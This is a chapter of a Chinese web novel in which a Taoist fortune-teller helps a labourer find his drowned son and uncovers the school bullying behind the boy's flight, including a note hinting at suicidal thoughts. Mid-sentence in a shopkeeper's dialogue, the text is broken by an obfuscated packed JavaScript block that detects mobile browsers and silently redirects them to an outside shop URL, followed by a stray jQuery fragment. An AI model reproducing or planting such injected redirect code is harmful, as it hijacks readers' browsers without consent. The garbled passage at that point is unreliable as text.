回到清虚观时,已是午后。
山门前的银杏树落了大半叶子,金灿灿铺了一地。几个香客正在院子里烧香,见周南书背着包进来,有人认出她,远远点头致意。
福崽从包里探出头,眯着眼看了看熟悉的环境,又缩回去继续睡。
老道长清尘正坐在偏殿门口的椅子上晒太阳,手里捧着茶杯,见周南书回来,只是笑了笑:“回来了?”
“嗯。”周南书把包放下,从里面摸出在路上买的茶叶,“福建那边带回来的,尝尝。”
老道长接过,没问找没找到,也没问过程如何,只说:“路上累了吧?”
“还行。”周南书坐在旁边的凳子上,福崽终于肯从包里出来,跳下去,慢悠悠走到老道长脚边,蹭了蹭,然后蹲下来舔爪子。
“这猫倒是精神。”老道长低头看了一眼。
“它哪都精神。”周南书笑了笑。
沉默了一会儿,老道长才开口:“前几天有个姑娘来找你,姓李,说是上次你来着,她爸找到了,想谢谢你。”
周南书一愣:“李小麦?”
“对,就是这个名字。”老道长点点头,“人挺好的,拎了一堆东西来,我说你不在,她就把东西放下走了,说改天再来。”
周南书心里一动:“她父亲……没事吧?”
“没说太细,就说找到了,人没事。”老道长喝了口茶,“你要想知道,回头她再来你自己问。”
周南书应了一声,没再多问。
---
下午没有着急开门算命。
周南书先把偏殿收拾了一遍——走了这些天,桌上落了一层薄灰。福崽跟在她脚边转来转去,时不时用尾巴扫她小腿,被她不轻不重地推开。
收拾完了,她坐在桌前,打开系统面板。
功德值还是显示2005。
寻子事件的功德值还没到账。
她等了一会儿,系统没动静,便没再等。翻了翻手机,有何桂英发来的消息,说豆豆安顿得挺好。她回了几句,放下手机,靠在椅背上闭眼。
福崽跳上桌,在她手边趴下来。
---
傍晚的时候,来了个客人。
是个四十来岁的男人,穿着洗得发白的工装,手上全是老茧和裂口,指甲缝里嵌着洗不掉的油污。他在门口站了很久,才迈进来。
“请问……这里是算命的吗?”声音沙哑,带着浓重的疲惫。
周南书点头:“坐。”
男人坐下,双手放在膝盖上,指节粗大,不停地搓着。他低着头,像不敢看人。
周南书倒了杯水放在他面前。
男人灌了一口,放下杯子,开口时声音像从嗓子眼里挤出来的:“我想算算我儿子。离家出走五天了,报警了,也找了,就是找不到。”
周南书看着他:“五天?”
“五天。”男人的手在发抖,“上个星期天晚上跑的,到今天整整五天。我……”他说不下去,喉结上下滚动了一下。
周南书没催他。
男人深吸一口气,继续说:“他妈妈走得早,我一个人带他。我在工地上干活,供他上学。他不好好学习,成绩一直掉。上个月月考倒数,我说了他几句,他跟我吵,我气头上打了他一巴掌……他跑了,再没回来。”
眼泪掉下来,砸在桌面上。
“我找了他五天。报警了,警察也帮着找。可我们那是乡下地方,山多,湖多,到处都是林子,监控没几个。派出所调了所有的监控,只拍到他那天晚上往郊外走了,出了镇子就没了。郊外那几个湖、那片山林,警察都搜过,没找到人。”
他抬起头,眼睛红肿:“道长,我实在没办法了。警察说可能跑到外地去了,可我觉得他没走远。他从小到大没出过远门,他怕黑,他不敢一个人走夜路……他一定还在附近,可我就是找不到他。”
周南书沉默片刻,从抽屉里拿出三枚铜钱:“摇卦。”
男人用那双粗糙的大手接过铜钱,小心翼翼地捧着,像捧着什么珍贵的东西。他闭上眼睛,嘴唇翕动了几下,然后摇卦,松开。
铜钱落在桌上。
一次。两次。三次。四次。五次。六次。
周南书看着卦象,手指轻轻敲了敲桌面。
卦象很清晰——不是生位。
“你儿子最后往哪个方向走的?”她问。
“西边,出了镇子就是一片荒地,再往前走有个水库,还有几座山。”
“水库。”周南书重复了一下,“警察查过水库吗?”
“查过,绕着水库搜了两遍,还用了无人机,什么都没发现。”男人的声音带着绝望,“水面也看过,没有……没有浮起来的。”
周南书闭了一下眼。
卦象显示的位置,有水,有土,静止不动。
她斟酌了一下措辞:“再报一次警,让他们重点查水库周边,不只是水面。沟渠、泄洪道、堤坝下面的涵洞,都查一遍。”
男人脸色变了:“你是说他……”
“我没说死了。”周南书打断他,“但你要做好心理准备。五天,如果他在户外,没有食物……”
她没有说下去。
男人浑身发抖,想说什么,嘴唇哆嗦了半天,一个字没说出来。他站起来,椅子往后一倒,发出刺耳的声响,然后转身踉踉跄跄冲出了偏殿。
福崽被吓了一跳,竖起耳朵盯着门口。
周南书坐在那里,很久没动。
第二天上午,雨下得很大。
周南书没有开门算命。手机响了,是那个男人的号码。
她接起来。
那头沉默了很久,才传来一个声音——沙哑、破碎、像被什么东西碾过了一样。
“找到了。”
周南书没说话。
“在水库下游的泄洪道里。那个涵洞上面有灌木挡着,人进不去,无人机也看不到。警察说……他应该是从堤坝上滑下去的,摔进了泄洪道,爬不出来。那个位置太隐蔽了,之前搜了两遍都没发现。”
电话那头传来压抑的、像野兽一样的呜咽。
“五天。他在那里躺了五天。我每天从那里经过,我每天……”
他说不下去了。
过了很久,男人说:“道长,我想求你一件事。给我儿子超度一下,行吗?”
周南书说:“你等一下。”
她走到院子里,老道长正在收衣服。
“师父。”
老道长看她脸色不对,放下衣服:“怎么了?”
周南书简单说了情况。
老道长沉默了一会儿,点了点头:“我来吧。”
---
殡仪馆。
告别厅很小,只有几个人——男人,他几个工友,两个警察。
周南书和老道长到的时候,男人正站在门口,穿着一件借来的黑色夹克,眼眶深陷,嘴唇起皮,像一夜之间老了十岁。
“谢谢你们来。”他声音很轻。
遗体告别时,周南书站在后排。男孩躺在那里,穿着干净校服,脸色青白,眉目清秀。十五岁的少年,如果活着,应该是个好看的男孩子。
男人的哭声从前面传来,压抑、撕裂:“爸对不起你……爸不该打你……爸不该逼你……”
工友们拉着他,有人红了眼眶。
超度法事在旁边的厅里做。老道长换上法衣,摆好香案。周南书帮忙点香烧纸。男人跪在蒲团上,一直低着头,肩膀在抖。
老道长的声音不紧不慢:“……太上有命,普告九天。功德金莲,接引无边……”
纸灰被风吹起来,打着旋,越飞越高。
法事结束后,天快黑了。男人站起来,腿发软,被工友扶着。他走到老道长面前,深深鞠躬,掏出一个信封递过去。
老道长没接:“你留着给孩子办后事。”
男人的眼泪又掉下来:“我没有别的办法了。就想为他做最后一件事。”
老道长沉默片刻,接过信封,抽出一张,把剩下的还给他:“这一张我收下,算是香火钱。其他的,给孩子买身好衣服,体面地走。”
男人握着信封,嘴唇哆嗦着,说不出话。
他转身要走,又停下来。
看着周南书,突然说了一句:“道长,我能跟你说几句话吗?就几句话。”
周南书看了老道长一眼。老道长微微点头,先出去了。
小厅里只剩下周南书、男人,和福崽——福崽从包里跳出来,蹲在角落里,安静地看着。
男人坐在椅子上,双手撑着膝盖,低着头。
沉默了很长时间。
然后他开始说话,声音很轻,像是在自言自语。
---
“我儿子叫小远。大名叫程远。”
“他妈生他的时候难产,大出血,没救过来。我抱着他,他在哭,我在哭。护士说,你别哭了,把孩子吓着。我就不哭了。从那天起,我告诉自己,我得把他养大,养得好好的。”
“他小时候特别黏我。我去哪他都跟着。我在工地上干活,他就在旁边玩沙子,一玩一整天。工友们都笑我,说你带个孩子来工地,不怕出事?我说没事,他乖,不乱跑。”
“他三岁那年,我在脚手架上干活,他在下面喊爸爸。我低头一看,他举着一个馒头,说‘爸爸吃饭’。那是他省下来的早饭。我从脚手架上下来,抱着他,那馒头已经凉了,硬邦邦的,但我吃得很香。”
男人停了一下,喉结滚动。
“那是我这辈子吃过最好吃的馒头。”
---
“他六岁上小学。第一天送他去,他背着新书包,站在校门口不肯进去。我说你进去啊。他说,爸爸你放学来接我。我说好。”
“可我一次都没接过他。”
“工地上忙,有时候赶工期,有时候老板不让请假。我跟他说,你自己回来,注意安全。他说好,从来不闹。”
“有一天我提前收工,去学校接他。我站在校门口,看着别的孩子一个个被家长接走,最后就剩他一个人。他背着书包,坐在台阶上,低着头,拿树枝在地上画画。”
“我喊他。他抬头,看到我,眼睛一下子亮了。他跑过来,喊爸爸,笑得特别开心。他说,爸爸你怎么来了?我说,来接你回家。他抱着我的腿,说,爸爸你以后天天来接我好不好?”
“我说好。”
“可我一次都没再接他。”
男人的声音开始发抖。
---
“他四年级的时候,开家长会。老师提前一个星期通知,说这次家长会很重要,一定要来。我答应了。”
“结果那天工地出了点事,我走不开。等我忙完赶过去,家长会已经结束了。教室里只剩班主任一个人在收拾东西。”
“班主任看到我,叹了口气,说,程远爸爸,程远今天一直在门口等,等了一下午,别的家长都来了,就你没来。他最后哭了,说‘我爸答应我的’。”
“我站在教室门口,一句话说不出来。”
“我回到家,小远已经睡了。我坐在他床边,看着他。他脸上还有泪痕。”
“我想叫醒他,跟他说对不起。但我没有。”
“我坐在那里坐了一整夜。”
男人把脸埋进手掌里,肩膀剧烈地抖。
---
“他上初中以后,变了。不爱说话,不爱笑,回家就把自己关在屋里。我问他成绩,他说还行。我问他学校的事,他说没什么。”
“我以为他青春期,正常。”
“其实不是。”
“他是在学校出事了。”
男人说到这里,声音突然变了。
周南书注意到他的措辞。
“出事?”她问。
男人抬起头,眼睛里有一种奇怪的神色——不是悲伤,而是某种正在浮现的、可怕的怀疑。
“我……我不确定。”他说,“昨天找到他以后,我去了他学校,收拾他的东西。他的同桌塞给我一张纸条,什么都没说,转身就跑。”
“什么纸条?”
男人从口袋里掏出一张皱巴巴的纸条,递给周南书。
周南书接过来,展开。
上面是孩子的字迹,歪歪扭扭的,有些字被水渍洇花了:
“爸,我不想上学了。他们天天打我,抢我的钱,往我书包里塞垃圾。老师看见了也不管。我不知道跟谁说。你那么忙,我不想给你添麻烦。我是不是死了就不用受这些了?”
周南书看着这张纸条,手停在半空中。
她抬起头,看着男人。
男人的眼泪已经流干了,眼眶干涩,红得像要滴血。
“我不知道。”他反复说,“我真的不知道。他从来没跟我说过。我以为他只是成绩不好,我以为他只是叛逆期,我以为……”
他说不下去了。
周南书把纸条还给他,声音很平静:“纸条上写的是‘他们’。是谁?”
男人摇头:“我问了班主任,班主任说不知道。我问了校长,校长说会调查。我问他同桌,他同桌不敢说。”
他顿了顿,声音里带着一种可怕的平静:“但我知道是谁。”
“谁?”
“我去了学校旁边的商店,问了老板。老板说,经常看到几个高年级的孩子堵小远,推推搡搡的,但他以为是同学之间闹着玩。”
“我找到了那几个孩子的名字。一个叫张浩,一个叫刘凯,一个叫王振宇。都是初三的,比小远大两岁。”
“我问了张浩他妈。她说她儿子最近买了个新手机,两千多块钱。她问他哪来的钱,他说是帮同学修电脑挣的。”
“她信了。”
“我不信。”
男人的拳头攥紧了,指节发白。
“我去找了派出所的赵警官。赵警官说,没有证据,很难立案。而且孩子已经不在了,死因是溺水,跟霸凌没有直接因果关系。”
“没有直接因果关系。”男人重复了一遍这句话,像是在咀嚼什么苦涩的东西。
周南书沉默了很久。
然后她站起来。
“把地址给我。”她说。
男人一愣:“什么?”
“那几个孩子的地址,或者学校的地址。我去看看。”
---
第二天一早,周南书去了镇上。
福崽蹲在她肩头,尾巴垂下来,轻轻晃着。
镇子不大,从东头走到西头也就二十分钟。学校在镇子中间,一栋灰扑扑的三层教学楼,操场上的旗杆锈迹斑斑。
周南书没进学校,先去旁边的商店。
老板是个五十多岁的胖女人,正坐在柜台后面嗑瓜子。见周南书进来,上下打量了一眼:“买什么?”
“打听个事。”周南书从口袋里掏出一张五十块钱放在柜台上,“程远,你知道吧?”
老板的脸色变了一下。
“那个淹死的孩子?”她压低声音,“你问他干嘛?”
“我是他亲戚。”周南书说,“想了解一下他在学校的情况。”
老板犹豫了一下,看了看那张五十块钱,飞快地揣进口袋。
“那孩子可怜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509726|202948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”她往外看了一眼,像是在确认没有别人,“经常被那几个混小子欺负。有一次我亲眼看见,他们把程远的书包抢过去,把里面的书倒在地上,踩了几脚,然后扔到水坑里。程远蹲在地上捡书,那几个混小子在旁边笑。”
“老师不管吗?”
“管什么呀。”老板撇撇嘴,“张浩他爸是镇上的,跟校长吃过饭。刘凯他舅舅是派出所的。谁敢管?”
周南书点了点头:“张浩家在哪?”
老板警觉地看了她一眼:“你要干嘛?”
“就是去看看。”周南书说。
老板犹豫了一下,还是指了路:“镇东头,红砖墙的那家,门口停着一辆白色面包车。”
---
周南书没去张浩家。
她去了派出所。
赵警官是个三十出头的年轻人,正在整理卷宗。见周南书进来,抬头问:“有什么事?”
“我是程远的家属。”周南书说,“想了解一下霸凌的情况。”
赵警官皱了皱眉:“程远的事情已经结案了。死因是溺水,没有他杀迹象。霸凌的事,目前没有直接证据。”
“没有证据,不代表没有发生。”周南书说。
赵警官叹了口气,放下笔:“我知道你心情不好,但办案讲证据。那几个孩子的家长我也问过了,都说不知道。学校的监控也查了,死角太多,没有拍到有用的画面。”
“你们去问过其他学生吗?”
“问过。”赵警官说,“没人愿意说。”
“我可以帮你问。”周南书说。
赵警官看了她一眼:“你是警察吗?”
“不是。”
“那你以什么身份去问?”
周南书没回答这个问题,转身走了。
---
她回到学校门口,等到中午放学。
学生们涌出来,叽叽喳喳的。她站在门口,看着那些年轻的脸。
然后她看到一个瘦小的男孩,低着头,一个人走在最后面。
她走过去。
“你是程远的同桌?”她问。
男孩吓了一跳,抬起头,眼睛里全是恐惧。
“我不是坏人。”周南书蹲下来,和他平视,“我是程远的姐姐。我想知道,他在学校发生了什么。”
男孩的嘴唇哆嗦了一下。
“我不能说。”他声音很小,“说了他们会打我。”
“没人会打你。”周南书说,“我保证。”
男孩看了看四周,确认没有人注意他们,才凑近了一点,声音低得几乎听不见。
“张浩他们……每天都找程远要钱。程远不给,他们就打他。有一次他们把程远堵在厕所里,用烟头烫他的胳膊。”
周南书的手指微微收紧。
“程远跟老师说过吗?”
“说过。班主任把张浩叫到办公室谈了一次。然后张浩回来,又把程远打了一顿,说‘你要是再敢告状,我弄死你’。”
“从那以后,程远就不说了。”
男孩的眼眶红了:“程远人很好的。他帮我讲过数学题。他说他不想上学了,想出去打工,挣钱给他爸养老。我让他别走,他说……他说‘我活着也是拖累我爸’。”
男孩的眼泪掉了下来:“我没帮他。我不敢。”
周南书站起来,拍了拍男孩的肩膀。
“不是你的错。”她说。
---
她回到殡仪馆的时候,已经是下午了。
男人还坐在小厅里,没走。他坐在椅子上,盯着对面墙上的一幅山水画,眼睛空洞洞的。
福崽跳上桌子,蹲在那里,安静地看着他。
周南书走进来,在他对面坐下。
“我去查了。”她说。
男人的目光慢慢转过来,落在她脸上。
“霸凌。”周南书说,“张浩、刘凯、王振宇。要钱,打人,烟头烫。跟老师说过,老师没管。跟你说过吗?”
男人摇头。
“他没跟我说过。”他的声音很轻,“他一个字都没跟我说过。”
“你知道为什么吗?”周南书问。
男人没回答。
“因为你忙。”周南书说,“因为你总是不在。因为他不想给你添麻烦。因为他说过的话,你从来没认真听过。”
每一个字都像针,扎在男人身上。
他没有反驳。
他只是坐在那里,一动不动。
“他不是因为那一巴掌跑的。”周南书说,“那一巴掌是最后一根稻草。在此之前,他已经扛了很久。霸凌,孤立,老师的漠视,同学的恐惧。他觉得没有人能帮他。他觉得活着是拖累。”
她顿了顿。
“他觉得死了就不用受这些了。”
男人的身体开始发抖。
不是那种剧烈的抖,而是从骨头里往外渗的那种,像秋天的树叶,风一吹就碎了。
“我……我不知道。”他反复说,声音已经不像人声了,像是某种被碾碎的东西在发出声响,“我真的不知道。他从来没跟我说过。我以为他只是成绩不好,我以为他只是叛逆期,我以为……”
他说不下去了。
他弯下腰,把脸埋进手掌里,肩膀剧烈地耸动。
没有声音。
只是抖。
哭不出声的那种哭。
福崽从桌上跳下去,走到他脚边,蹲下来,把身体贴在他的小腿上。
周南书坐在对面,没有说话。
她想起那些孩子——张浩、刘凯、王振宇。十五六岁的少年,正是最好的年纪。他们可能不知道自己在做什么,也可能知道。他们可能觉得只是“闹着玩”,也可能觉得无所谓。
但程远死了。
十五岁,死了。
因为一群人觉得欺负他好玩,因为一个老师觉得多一事不如少一事,因为一个父亲太忙了没时间听他说话。
也因为程远自己觉得,没有人会在乎。
---
不知道过了多久,男人终于抬起头。
他的眼睛红肿,脸上全是泪痕,但表情却很奇怪——平静,一种破碎后的、什么都没有了的平静。
“道长。”他声音沙哑,“你说,小远在那边,能见到他妈吗?”
“能。”周南书说。
“那就好。”男人点了点头,“他妈走的时候,托我照顾好他。我没做到。让她自己去跟孩子说吧。”
他站起来,腿有些发软,扶了一下椅背才站稳。
“那几个孩子的事,我会继续找。”他说,“不是为了报复。我就是想让大家都知道,他们做了什么。”
他走到门口,停下来。
“谢谢你。”他说,“谢谢你帮我去查。我自己不敢去。我怕我去了,会做出什么事来。”
他走了。
周南书看着他佝偻的背影消失在走廊尽头。
福崽还蹲在地上,看着那个方向。
周南书弯腰把福崽抱起来,福崽用脑袋蹭了蹭她的下巴,发出轻微的呼噜声。
“系统。”她在心里默念。
面板亮了。
功德值:2205
加了200点。
她看着那个数字,没有高兴,也没有不高兴。
她关掉面板,抱着福崽走出了殡仪馆。
外面天已经黑了,路灯亮着,橘黄色的光照在湿漉漉的地面上,像碎了一地的金子。
她深吸一口气,往道观的方向走。
福崽在她怀里,暖暖的,轻轻的,像一团会呼吸的棉花。